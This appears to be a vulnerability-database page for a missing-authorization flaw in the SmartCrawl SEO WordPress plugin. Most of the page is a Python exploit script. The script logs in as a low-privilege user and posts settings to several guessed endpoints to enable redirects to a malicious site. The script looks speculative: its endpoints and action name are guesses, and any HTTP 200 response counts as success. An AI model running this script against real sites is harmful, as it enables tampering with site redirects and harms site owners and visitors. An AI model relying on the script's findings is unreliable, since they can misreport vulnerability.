Missing Authorization vulnerability in WPMU DEV - Your All-in-One WordPress Platform SmartCrawl smartcrawl-seo.This issue affects SmartCrawl: from n/a through <= 3.14.3.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Configurations (Affected Products)
No configuration data available.
SmartCrawl SEO <= 3.14.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62048 SmartCrawl Authorization Bypass PoC
# Target: WordPress site with SmartCrawl plugin <= 3.14.3
import requests
import sys
def exploit_smartcrawl(target_url, username, password):
"""
Exploit for Missing Authorization in SmartCrawl SEO plugin
This PoC demonstrates unauthorized access to privileged functions
"""
session = requests.Session()
# Step 1: Authenticate with low-privilege account
login_url = f"{target_url}/wp-login.php"
login_data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'redirect_to': target_url
}
response = session.post(login_url, data=login_data)
if 'wordpress_logged_in' not in session.cookies.get_dict():
print("[-] Login failed")
return False
print("[+] Logged in with low-privilege user")
# Step 2: Identify SmartCrawl vulnerable endpoint
# Common SmartCrawl API endpoints that may lack authorization
vulnerable_endpoints = [
'/wp-json/smartcrawl/v1/settings',
'/wp-json/smartcrawl/v1/seo',
'/wp-admin/admin-ajax.php',
'/wp-admin/admin.php?page=wds_settings'
]
# Step 3: Attempt to modify settings without proper authorization
for endpoint in vulnerable_endpoints:
modify_data = {
'action': 'smartcrawl_update_settings',
'option_page': 'wds_options',
'wds_settings[redirects_enabled]': '1',
'wds_settings[redirects][]': 'https://malicious-site.com'
}
response = session.post(
f"{target_url}{endpoint}",
data=modify_data,
headers={'Content-Type': 'application/x-www-form-urlencoded'}
)
# Check if request was successful (indicating authorization bypass)
if response.status_code in [200, 201]:
print(f"[+] Potential authorization bypass on {endpoint}")
print(f"[+] Response: {response.text[:200]}")
return True
print("[-] No authorization bypass detected (may need manual verification)")
return False
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: python exploit.py <target_url> <username> <password>")
sys.exit(1)
target = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
exploit_smartcrawl(target, user, pwd)